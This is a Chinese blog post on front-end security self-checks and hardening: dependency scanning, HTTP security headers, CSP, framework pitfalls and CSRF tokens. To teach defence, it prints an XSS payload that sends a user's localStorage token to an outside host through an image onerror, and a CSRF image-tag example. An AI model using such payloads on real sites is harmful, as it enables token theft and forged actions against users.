WEB前端安全自查和加固

随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。

就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:

npm生态下依赖的安全性。npm 非常年轻,和Java相比包的质量参差不齐,也缺乏良好的审查机制,不过好在npm提供了一些安全工具帮我们审查依赖的安全问题。

XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式,前端开发需要日常注意,我们后面会主要讨论这类攻击。

CSRF跨站请求伪造攻击。CSRF不是非常流行,目前来说容易将此类攻击的破坏性降低到可以接受的程度。

代码自查

开发者和攻击者最大的不同之处在于,开发者完全拥有代码,因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行,如果开发者在上线之前对代码进行审查和扫描,可以事半功倍。

另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞,而代码层面的审查则需要开发团队完成。

npm audit

为了提高npm依赖的安全,npm 6.1 后添加了npm audit工具,这个工具可以搜索当前项目中使用的依赖是否存在安全问题,并提供了npm audit fix工具修复。

image1.png
image1.png

它的工作原理是维护了一个已知不良依赖的名单,如果代码中使用了直接从GitHub而不是npm仓库中获取依赖,或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时,需要谨慎考虑,不滥用依赖在前端开发也是非常重要的。

Sonarqube

Sonarqube应该是今年业界最为流行的代码审查工具了,Sonarqube使用了和其他开源软件一样,软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台,也可以直接使用sonarqube在线的扫描服务。

image2.png
image2.png

Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷,我们可以使用另外更加轻量级能集成到构建脚本中的工具。

snyk

如果不想暴露仓库权限,并且本地扫描,可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台,但是也提供了轻量级的本地扫描。

snyk 提供了npm安装,可以参考以下命令,简单的集成到CI中:

npm install -g snyk
snyk auth
snyk test

应对XSS攻击

XSS 攻击通过向页面中注入可以执行的JavaScript代码,因为可以通过JavaScript在已经登陆的用户页面上执行,可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。 XSS分为DOM型、反射型、存储型三种攻击类型,反射型和存储型服务器端可以通过过滤输出处理,对前端项目来说主要针对DOM型攻击采取安全措施。

xss.gif
xss.gif

上面这个动图是我假设的一个漏洞,前端代码直接接收外部输入,并添加到页面上。演示攻击者使用了一段代码:

<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通过图片触发onerror事件的方式执行一段JavaScript代码片段,再读取LocalStorage中的token,最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式,这种注入XSS的代码叫做 XSS payload,很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。

使用HTTP头启用浏览器安全行为

浏览器有很多内置的安全行为,可以防范XSS攻击,第一步需要做的是在上线时合理配置服务器环境,这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事,这里有一个checklist,分别说明了一些必要的HTTP头和用途。

  • HTTP only 对关键Cookies设置HTTP only,前端JavaScript无法读取该Cookies,即使前端被攻击,也无法盗取用户身份信息
  • X-Frame-Options 禁止页面通过IFrame被加载,用来方式clickJacking(页面伪装点击)攻击
  • X-XSS-Protection 配置浏览器的XSS过滤行为,当值为:- 0 禁用XSS过滤器/审核员- 1 删除不安全的部分,如果没有X-XSS-Protection头,这是默认设置- 1; mode = block 如果找到XSS,则不要渲染文档
  • X-Content-Type-Options 提示浏览器一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改,禁止浏览器嗅探资源类型
  • Strict-Transport-Security 要求浏览器对所有资源使用HTTPS链接
  • Access-Control-Allow-Origin 设置跨域请求的安全列表

下面演示一个HTTP only的例子,即使XSS攻击成功,也无法盗走token:

httponly.gif
httponly.gif

避免框架中的危险特性

现代前端开发中使用了一般基于常用的框架开发,框架提供了很多安全特性在输入内容到DOM避免了XSS注入,但是如果不当使用,也会有一些风险。框架为了提供更大的灵活性往往允许原生的HTML内容被添加到DOM中并提供了对应API,但基本上也会在文档中说明。

Vue的v-html指令。 Vue的明确提示使用该指令的前提是信任输入内容,但是大量项目使用了此指令,甚至从URL上获取的部分内容。下面图片中的使用方式在项目中很常见,但是如果使用xss payload很容易像上面演示的那样被xss注入攻击。

vhtml.png
vhtml.png

dangerouslySetInnerHTML。React中提供了类似的机制,不过在API的名称上非常醒目,原理上和Vue类似,不再赘述。

另外一种不当使用框架的例子是,读取原生DOM或者使用JQuery的并添加内容的行为,这种行为不仅对项目架构造成破坏,带来维护性的困难,而且会存在XSS注入的风险。

启用CSP浏览器安全策略

在银行和金融类项目,对安全要求非常重视。大家都知道的一个例子是银行项目都实现了自己的键盘输入控件,目的是防止操作系统的键盘Hook,这个超出前端开发需要考虑的内容。另外一个方法是启用CSP浏览器内容安全策略,对加载到页面上的内容进一步限制,并且CSP还提供了异常报告的机制。

mozilla的CSP定义

“内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等”

通俗的来说,CSP就是通过HTTP头部 Content-Security-Policy或者HTML meta标签定义一系列白名单规则,限制页面上脚本的执行和资源的加载来源,例如不允许执行内联代码(<script>块内容,内联事件,内联样式),禁止执行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,达到进一步限制页面脚本的策略。例如:

Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP 策略包括多个指令和指令值组成:

指令 指令值示例 说明
default-src 'self' cnd.com 定义针对所有类型(js、image、css、web font、ajax请求、iframe,多媒体等)资源的默认加载策略
script-src 'self' js.com 定义针对JavaScript的加载策略
style-src 'self' css.com 定义针对样式的加载策略
img-src 'self' img.com 定义针对图片的加载策略
connect-src 'self' 针对Ajax、WebSocket等请求的加载策略
font-src font.x.com 针对Web Font的加载策略
object-src 'self' 针对<object>、<embed>或<applet>的加载策略
media-src media.x.com 针对<audio>或<video>的加载策略
frame-src 'self' 针对frame的加载策略。
sandbox allow-forms 对请求的资源启用sandbox
report-uri /report-uri 启用报告模式,当违反CSP策略会发送一份JSON数据包
指令 指令值示例 说明
- img-src 允许任何内容。
'none' img-src 'none' 不允许任何内容。
'self' img-src 'self' 允许来自相同域的内容
data img-src data 允许data:协议(base64、SVG)
x.com img-src img.x.com 允许加载指定域名的资源
*.x.com img-src *.x.com 允许加载指定域任何子域的资源
https://img.com img-src https://img.com 允许加载img.com的https资源
https: img-src https: 允许加载https资源
'unsafe-inline' script-src 'unsafe-inline' 允许加载行内资源(例如常见的style属性,onclick,inline js和inline css等等)

'unsafe-eval' script-src 'unsafe-eval' 允许加载动态js代码,例如eval()、new Function

CSP 策略中有一个特别的指令report-uri可以配置页面上违规后的报告,一旦浏览器检测到违规的资源加载,浏览器会发送一个JSON数据包到指定服务器。

csp.png
csp.png

应对CSRF攻击

CSRF攻击者在用户已经登陆目标网站后,诱导用户访问一个攻击页面,利用用户已经获取的权限,发起伪造的请求。

举个例子:

假设GitHub提供了一个给仓库加星的接口,htttps://github.com/{repositoryName}/star 而且这个接口使用了GET方法,当然GitHub不会这样做。

这样攻击者就可以在GitHub上Readme文件中中增加一张图片:

<img src="htttps://github.com/{repositoryName}/star" />

当用户浏览到这个仓库的时候就会给该仓库增加一个星。

因此业界通常的做法是避免使用GET操作对数据资源的修改,使用POST时增加一个一次性的token。

如果Spring boot中使用Spring security,会有默认的 CsrfFilter,只需要注册CsrfFilter即可启用CSRF机制。客户端对相同的Restful资源发出POST请求之前需要首先从GET方法得到一个一次性的token,否则会得到一个403错误。

其他

实际项目中我们还有其他的一些安全措施:

例如加密代码中的密码等敏感信息,加密本身对前端来说意义不大,但是可以增加攻击者反向分析代码的难度,屏蔽代码中可以直接搜索到的关键字,例如Login、Password等字符串。

另外也要防止程序报错后意外暴露一些信息给用户,面对各种各样的异常,用户不可能主动也没有能力报告错误,我们可以通过使用sentry.io之类的一些工具收集控制台报错信息 。

最后这个世界上没有绝对的安全,即使CSP这类极其严格的策略都有可能被绕过,前端开发中安全也需要考虑成本,应该选用性价比高的安全策略。安全也不是独立的,应该和服务器、甚至操作系统层面联合考虑,例如后端提供的资源应该是通过ID不可枚举的,上传文件的时候也应该嗅探内容和MIME信息决定文件类型。

参考链接:

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,588评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,456评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,146评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,387评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,481评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,510评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,522评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,296评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,745评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,039评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,202评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,901评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,538评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,165评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,415评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,081评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,085评论 2 352

推荐阅读更多精彩内容